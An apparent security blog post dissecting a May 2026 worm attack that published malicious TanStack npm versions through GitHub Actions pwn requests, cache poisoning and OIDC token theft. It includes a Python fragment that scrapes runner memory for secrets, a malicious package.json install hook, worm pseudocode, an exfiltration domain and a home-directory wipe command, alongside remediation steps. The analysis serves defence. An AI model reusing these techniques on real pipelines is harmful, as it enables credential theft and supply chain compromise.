← Back to all posts
Supply Chain Attack

TanStack's Nightmare:
How a Worm Hijacked 42 npm Packages in 6 Minutes 😱

On May 11, 2026, the threat group TeamPCP used a three-part GitHub Actions exploit chain to publish 84 malicious versions of TanStack packages — complete with valid cryptographic attestations — without ever stealing a password. Here's exactly how they did it. 🔥

📅 May 11, 2026 ⚡ 6-minute attack window 🌍 42 packages, 170+ victims 📖 22 min read
Scroll to learn
01

What is TanStack?

Before we dissect the attack, let's understand why TanStack is such a high-value target. 🎯

📦 Simple Analogy

TanStack is like a toolkit of premium power tools that React, Vue, and Solid developers reach for every single day. Need to manage server data? TanStack Query. Need client-side routing? TanStack Router. Need a fast data table? TanStack Table. These aren't optional extras — they're load-bearing parts of millions of production apps.

42 Packages Compromised
12.7M Weekly Downloads (react-router alone)
84 Malicious Versions Published
170+ Total Packages Affected (via worm)

The packages at the center of this attack — @tanstack/react-router, @tanstack/vue-router, @tanstack/router-core, and friends — are downloaded tens of millions of times each week. When an attacker compromises them, they don't just reach one project; they reach every developer who runs npm install in the next few hours. 😣

02

The Attack at a Glance

This wasn't a stolen password or a phishing email. The attacker — a threat group called TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CipherForce) — never logged in as a TanStack maintainer. Instead, they tricked TanStack's own legitimate release pipeline into publishing malicious packages on their behalf. 🤯

🚨 CVE-2026-45321 / GHSA-g7cv-rxg3-hmpx
On May 11, 2026, between 19:20 and 19:26 UTC, 84 malicious package versions across 42 @tanstack/* npm packages were published using TanStack's own trusted publishing identity — not by stealing credentials, but by hijacking the GitHub Actions runner mid-workflow.

Three vulnerabilities, chained together, turned a harmless pull request from a stranger into a full-blown supply chain compromise. Each vulnerability alone was insufficient — but together they bridged every trust boundary between an anonymous attacker and a trusted npm publisher. 🔗

Three-Part Attack Chain
Step 1
Pwn Request: Fork code runs with base repo privileges
Step 2
Cache Poison: Malicious binaries stored in shared CI cache
Step 3
OIDC Theft: Publish token extracted from runner memory
Result
💥 84 malicious versions published with valid SLSA attestations

This is the fourth wave of a campaign called Mini Shai-Hulud (named after the giant sandworms in the Dune universe 🐛). Each wave has been more sophisticated than the last, and this one achieved something unprecedented: publishing npm packages with valid cryptographic provenance — a first in the history of supply chain attacks.

03

Attack Timeline: From PR to Compromise

The attacker was patient. The groundwork was laid a full day before the malicious packages ever appeared on npm. 🕐

May 10 — 10:49 UTC
🎣 Malicious PR Opened
Attacker opens PR #7378 against TanStack/router from fork zblgg/configuration. The commit is authored as claude <claude@users.noreply.github.com> to blend in. A 30,000-line JavaScript file (vite_setup.mjs) is quietly included.
May 11 — 11:29 UTC
☠️ Cache Poisoned
The bundle-size.yml workflow runs on the PR, executing the attacker's vite_setup.mjs. It poisons the shared pnpm package cache with attacker-controlled binaries under the exact cache key the release pipeline will later restore.
May 11 — 19:15 UTC
🚀 Release Workflow Triggered
A legitimate merge to TanStack's main branch kicks off the release.yml workflow. It restores the poisoned pnpm cache — unknowingly loading the attacker's malicious binaries into the release runner.
May 11 — 19:20–19:26 UTC
💥 84 Malicious Versions Published
The attacker's code scrapes the OIDC token from the runner's process memory. Using that token, it publishes 84 new versions across 42 @tanstack/* packages — each carrying a hidden credential harvester and a self-propagating worm. The workflow shows status: failure, yet npm received every publish.
May 11 — ~19:46 UTC
🔍 Detected by External Researcher
Security researcher ashishkurmi (StepSecurity) detects the anomaly within ~20 minutes of publication. TanStack is alerted and begins emergency deprecation of all 84 affected versions.
May 12 — Ongoing
🛡️ Remediation & Postmortem
All 84 versions deprecated. npm security engaged for tarball removal. GitHub Actions caches purged. Hardening PRs merged. TanStack publishes a full postmortem.
04

Step 1: The "Pwn Request" Trick

Here's where most developers get confused: how can a pull request from a random stranger cause real damage? GitHub is supposed to sandbox untrusted code, right? 🤔

🏠 Simple Analogy

Imagine your house has two front doors. One leads to the guest room — strangers can use it safely. The other leads to your bedroom where you keep your house keys. Normally, guests can only use the first door. But one workflow accidentally connected both doors. The attacker walked in through the "guest" door and found themselves standing next to your keys.

GitHub has two events for pull requests:

TanStack's bundle-size.yml used pull_request_target — and then made the classic mistake of also checking out the fork's code: 😵

⚙️ YAML — The Vulnerable GitHub Actions Workflow
# bundle-size.yml — VULNERABLE PATTERN
on:
  pull_request_target:               # 🚨 Runs with BASE repo privileges
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
          # ☠️ This checks out the ATTACKER'S code...
          # ...but runs it with the BASE repo's privileges
      - run: pnpm nx run @benchmarks/bundle-size:build
          # 💥 Executes untrusted fork code in trusted context
⚠️ The Pwn Request Pattern: Using pull_request_target while checking out fork code is one of the most well-documented GitHub Actions vulnerabilities. It's been the root cause of dozens of supply chain attacks since 2021, yet teams keep shipping it.

The attacker's fork included a massive vite_setup.mjs file. When pnpm nx run @benchmarks/bundle-size:build ran, it loaded this file — which looked like a bundler config but was actually a cache poisoning weapon. 🎯

05

Step 2: Cache Poisoning Across Trust Boundaries

Getting code to run during a PR check is interesting, but it doesn't directly let you publish npm packages. The attacker needed a way to persist their malicious code until the next official release. That's where GitHub Actions caching comes in — and it has a critical, under-appreciated flaw. 🔑

🏪 Simple Analogy

Think of the GitHub Actions cache like a shared storage locker at a gym. Trusted employees (your release.yml workflow) and temporary visitors (PR workflows) both have access to the same lockers. An attacker who gets a visitor pass can replace the tools in those lockers. When the trusted employee shows up later and grabs their "usual tools," they're now holding the attacker's tools.

Here's the flaw: GitHub Actions cache scope is per-repository — shared between pull_request_target workflows AND pushes to main. And here's the kicker:

🚨 The Hidden Footgun:
actions/cache@v5's post-job "save" step uses a runner-internal token — not the workflow's GITHUB_TOKEN. This means setting permissions: contents: read does NOT prevent cache writes. Even a read-only workflow can poison the cache.

The attacker's vite_setup.mjs wrote attacker-controlled binaries to the pnpm package store, then the post-job cache-save step helpfully preserved them under the exact cache key that the release pipeline would restore hours later:

🔑 Cache Key — The Exact Poisoned Entry
# Cache key poisoned by the attacker's PR workflow
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

# When release.yml ran on main and did:
uses: actions/cache@v5
with:
  key: Linux-pnpm-store-${{ hashFiles('pnpm-lock.yaml') }}

# It restored the poisoned cache — attacker binaries now on the release runner

By the time the legitimate release.yml workflow ran on May 11, it happily restored the compromised cache. The attacker's code was now executing inside the release pipeline — a pipeline with access to GitHub's OIDC token system. 🎯

06

Step 3: Stealing the Publishing Key from Memory

This is the most technically sophisticated part of the attack. With code running inside the release pipeline, the attacker still needed one thing: the credential to actually publish packages to npm. They didn't need to steal a password — they went after something much harder to protect. 😱

🧠 Simple Analogy

GitHub Actions runners are like bank tellers. Each teller briefly holds a temporary authorization code that lets them perform specific transactions — in this case, publishing npm packages. The attacker couldn't steal the code from a safe (it's never stored on disk). But the teller always has it in their hand while working. The attacker's move: pick the teller's pocket by reading their memory directly.

GitHub uses OIDC (OpenID Connect) tokens for trusted publishing — a short-lived credential that proves "this package was built by this GitHub repository's workflow." These tokens are passed as environment variables to the runner process and are never written to disk. But they do exist in process memory. 🔍

On Linux, every process's memory is accessible via /proc/<pid>/mem — if you have the right permissions. The attacker's malicious code did this:

🐍 Python — OIDC Token Extraction from Runner Memory
# Locate the GitHub Actions runner worker process
import os, re

# Find Runner.Worker PID via /proc/*/cmdline
for pid in os.listdir('/proc'):
    try:
        cmdline = open(f'/proc/{pid}/cmdline').read()
        if 'Runner.Worker' in cmdline:
            target_pid = pid
    except: pass

# Read process memory maps, then dump memory contents
# Extract JSON objects matching GitHub's secret format:
# {"value":"...","isSecret":true}
pattern = r'"[^"]+":{"value":"[^"]*","isSecret":true}'

# This captures ALL secrets — even those GitHub "masks" in logs
# Masking only redacts log output, not in-memory values 💥
🚨 Why This Bypasses Secret Masking:
When GitHub masks a secret in workflow logs, it only replaces the value in the log output. The secret still exists in plain text in the runner process's memory. Reading /proc/<pid>/mem gives you every secret — masked or not.

With the OIDC token in hand, the attacker exchanged it for per-package npm publish credentials using npm's token exchange endpoint. The release workflow showed status: failure — the tests didn't pass — but npm had already received 84 valid, signed, provenance-attested publishes. 💀

🎯 Key Insight

The three vulnerabilities form a perfect chain: Pwn Request grants code execution → Cache Poisoning survives until the next release → OIDC memory extraction yields publish credentials. No single vulnerability was enough alone. Together, they handed an anonymous attacker the keys to one of npm's most trusted publishers.

07

What the Malware Actually Did

The malicious packages weren't just publishing proof-of-concept code. They deployed a serious, multi-stage payload that targeted developers and CI systems alike. 😣

How It Hid Inside the Package

Each compromised package included an optionalDependency pointing to an orphan GitHub commit — a technique designed to slip past audits:

📦 JSON — Malicious package.json snippet
// Injected into each @tanstack/* package
{
  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }
}

// The orphan commit's package.json ran the payload:
{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
    // ↑ exit 1 makes install "fail" silently (optional dep)
    // ↑ but the payload already ran 💥
  }
}

When any developer or CI system ran npm install on an affected version, npm resolved the optional dependency, fetched the orphan commit, and executed the prepare lifecycle script — which ran a 2.3 MB obfuscated payload called router_init.js. 😱

Three Layers of Obfuscation

The payload was wrapped in three obfuscation layers to resist analysis:

Layer 1 11,516 base64-encoded strings with checksum validation
Layer 2 Per-byte Fisher-Yates cipher with PBKDF2-derived key
Layer 3 11 AES-256-GCM encrypted secondary payloads requiring Bun
2.3 MB Total payload size (vs ~190 KB for a clean package)

Credential Harvesting

Once running, the payload targeted everything it could find on the host:

How It Exfiltrated Data Without Being Detected

Rather than using a simple HTTP server (easily blocked by firewalls), the payload used two stealthy channels:

📡 Channel 1 — Session P2P Network:
Data was encrypted with RSA-4096-OAEP + AES-256-GCM and sent to filev2.getsession.org — a decentralized messaging network. Traffic looks identical to encrypted messaging app traffic. IP blocking doesn't work; you need DNS-level blocks.
🕵️ Channel 2 — GitHub Dead Drops:
Stolen data was also committed to GitHub via GraphQL mutations, disguised as Dependabot updates. Commit author: claude@users.noreply.github.com. Branch names used Dune terminology: dependabout/.../fremen, dependabout/.../melange.

The Self-Propagating Worm

This is what made the attack a worm, not just malware. After stealing credentials, the payload spread to other packages automatically: 🐛

🔄 Pseudocode — Worm Self-Propagation Logic
// 1. Find an npm token with bypass_2fa: true
token = findNpmTokenWithBypass2FA()

// 2. Enumerate all packages this maintainer owns
packages = fetch(`https://registry.npmjs.org/-/v1/search?text=maintainer:${user}`)

// 3. Exchange stolen GitHub OIDC token for per-package publish credentials
for (pkg of packages) {
  publishCred = exchangeOIDCToken(stolenOIDCToken, pkg)
  // 4. Publish a new infected version
  publishWithPayload(pkg, publishCred)
  // 5. Generate valid SLSA attestation for each infected publish
  signWithSigstore(pkg)
}

This is how the worm spread beyond TanStack: to UiPath, Mistral AI, DraftAuth, Squawk aviation packages, and 100+ more — each with valid cryptographic provenance. 🌊

The Dead-Man's Switch 💀

The attackers added one final, cruel twist. A malicious npm token was created with the description:

IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner

This wasn't a bluff. Revoking the token triggered a destructive wipe routine (rm -rf ~/) that would delete the entire home directory of the affected developer. Defenders couldn't safely rotate credentials without first disabling the persistence hooks.
08

The SLSA Provenance Trap

This attack broke a fundamental assumption that many security teams have started relying on: "If a package has valid SLSA provenance, it's trustworthy." 🤔

📜 Simple Analogy

SLSA provenance is like a certificate saying "this package was built in TanStack's factory on this date, using this assembly line." It's genuine — the certificate is not forged. But it says nothing about whether someone snuck onto the assembly line and added extra ingredients. The certificate tells you where it was built. It doesn't tell you whether the build process was safe.

The attacker triggered TanStack's legitimate release workflow. The workflow tests failed, so the normal publish step was skipped. But the attacker's code in the poisoned cache had already extracted the OIDC token and called Sigstore's Fulcio/Rekor APIs directly — generating valid Build Level 3 attestations for every malicious package, during the same workflow run window. 😱

⚠️ TanStack's Vulnerable OIDC Config:
Trusted publisher: Repository: tanstack/router

This trusted any workflow in the repo — including ones triggered by attackers.

✅ The Secure Pattern:
Trusted publisher: Repository: tanstack/router
Workflow: .github/workflows/release.yml
Branch: refs/heads/main

This is the first documented case of a malicious npm worm producing validly-attested packages. SLSA provenance is valuable — but it needs to be combined with behavioral analysis, dependency scanning, and anomaly detection. It cannot stand alone as a trust signal. 🎯

🔑 Key Insight

"SLSA provenance confirms which pipeline produced the artifact, not whether the pipeline was behaving as intended." — TanStack Postmortem

09

Detection & Response

Here's where the story gets both encouraging and concerning. The attack was stopped quickly — but entirely by an external researcher, not by TanStack's own monitoring. 😣

How It Was Caught

Security researcher ashishkurmi at StepSecurity detected anomalies in the newly published packages within approximately 20 minutes of publication. Behavioral analysis flagged all 84 artifacts within six minutes of publication, before human review even began. The attacker's mistake — breaking the workflow tests — made the malicious publishes loud enough to detect quickly.

🔍 How to Spot a Compromised Package (Before Running It):
npm pack @tanstack/react-router@1.169.5 --dry-run
tar -xzf *.tgz
grep optionalDependencies package/package.json
ls -la package/router_init.js

If you see a router_init.js at the package root (not in dist/ or src/), and the tarball is ~900 KB instead of ~190 KB, that's your red flag.

Indicators of Compromise

CVE CVE-2026-45321
GHSA GHSA-g7cv-rxg3-hmpx
File router_init.js (SHA256: ab4fcada...)
Domain filev2.getsession.org

Affected Versions to Avoid

🚨 Malicious Versions (deprecate / do not use):
@tanstack/react-router: 1.169.5, 1.169.8
@tanstack/vue-router: 1.169.5, 1.169.8
@tanstack/history: 1.161.9, 1.161.12
@tanstack/router-core: same version ranges
• 38 additional @tanstack/* packages — see GHSA-g7cv-rxg3-hmpx for the full list

If You Were Affected: Remediation Order Matters

⚠️ CRITICAL: Disable the dead-man's switch BEFORE rotating credentials

Revoking the stolen npm token before removing the persistence hooks triggers a destructive rm -rf ~/. Follow this order:
🛡️ Shell — Step-by-Step Remediation
# Step 1: Disable dead-man's switch (macOS)
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

# Step 1: Disable dead-man's switch (Linux)
systemctl --user stop gh-token-monitor.service
rm -f ~/.config/systemd/user/gh-token-monitor.service

# Step 2: Remove IDE persistence hooks
rm -f .claude/router_runtime.js .claude/setup.mjs
# Inspect and clean .claude/settings.json manually
rm -f .vscode/setup.mjs
# Review .vscode/tasks.json for suspicious entries

# Step 3: Find dead-drop commits disguised as Dependabot
git log --all --author=claude@users.noreply.github.com

# Step 4: NOW rotate credentials (priority order)
# npm tokens → GitHub PATs → AWS → Vault → K8s → SSH → GCP

# Step 5: Purge GitHub Actions caches
gh api -X DELETE /repos/OWNER/REPO/actions/caches/{id}
10

Key Takeaways & How to Protect Yourself

This attack is a masterclass in how modern CI/CD trust models can be weaponized. Here's what every team managing an npm package — or depending on one — needs to take away. 💪

1. Never use pull_request_target to check out fork code

This is the root cause of a huge fraction of CI/CD supply chain attacks. Either use pull_request (sandboxed), or use pull_request_target with a strict repository_owner guard that rejects forks. Pin all actions/* to specific commit SHAs, not tags.

2. Cache scope is your trust boundary — treat it that way

GitHub Actions caches are shared between untrusted PR workflows and protected branch workflows. Either purge caches after every PR or — better — keep release workflows in separate repositories from those that accept external PRs. Set permissions: contents: read but don't assume it prevents cache writes (it doesn't).

3. Pin your OIDC trusted publisher to a specific workflow + branch

Don't trust a whole repository. Trust a specific workflow file on a specific branch. The pattern: Workflow: .github/workflows/release.yml and Branch: refs/heads/main. Scope id-token: write to only the publish job, not the entire workflow.

4. SLSA provenance is necessary, not sufficient

Valid cryptographic attestations prove which workflow built the package. They don't prove that workflow was behaving as intended. Combine provenance with behavioral analysis (anomalous file names, size anomalies, unexpected outbound connections at install time) and known-bad signature databases.

5. Set ignore-scripts=true in your npm config

This entire attack depended on prepare lifecycle scripts running during npm install. Setting ignore-scripts=true in ~/.npmrc breaks the kill chain for this class of attack. Also use allow-git=none in npm v11+ to block git-URL dependencies entirely.

6. Use a release delay cooldown for critical dependencies

Setting min-release-age=7 in ~/.npmrc introduces a 7-day wait before npm will auto-update packages. This simple setting would have meant zero developers accidentally installed the malicious versions before they were deprecated — the entire attack window was under 20 minutes.

7. Secret masking ≠ secret protection in process memory

GitHub's log masking is cosmetic — it hides secrets in workflow logs but not in runner process memory. Any code running in the same environment as the runner can read all secrets via /proc/<pid>/mem. The defense: prevent untrusted code from running in the same context, period — not just restrict its permissions.

The Bigger Picture: Campaign History

Wave 1 Sep 2025 — 500+ packages, first self-propagating npm worm
Wave 2 Nov 2025 — 492 packages, 132M downloads, home-dir destruction
Wave 3 Apr 2026 — SAP & Intercom ecosystems, AI agent persistence
Wave 4 May 2026 — 373 versions, 170+ packages, valid SLSA provenance

TeamPCP has announced a partnership with the Vect ransomware group, per Unit 42 intelligence. This campaign is not over. 🔥

11

References & Resources

📖 Official Sources

🔬 Security Research

📰 News Coverage

🛡️ Vulnerability Tracking

Found this helpful? Share it! 🚀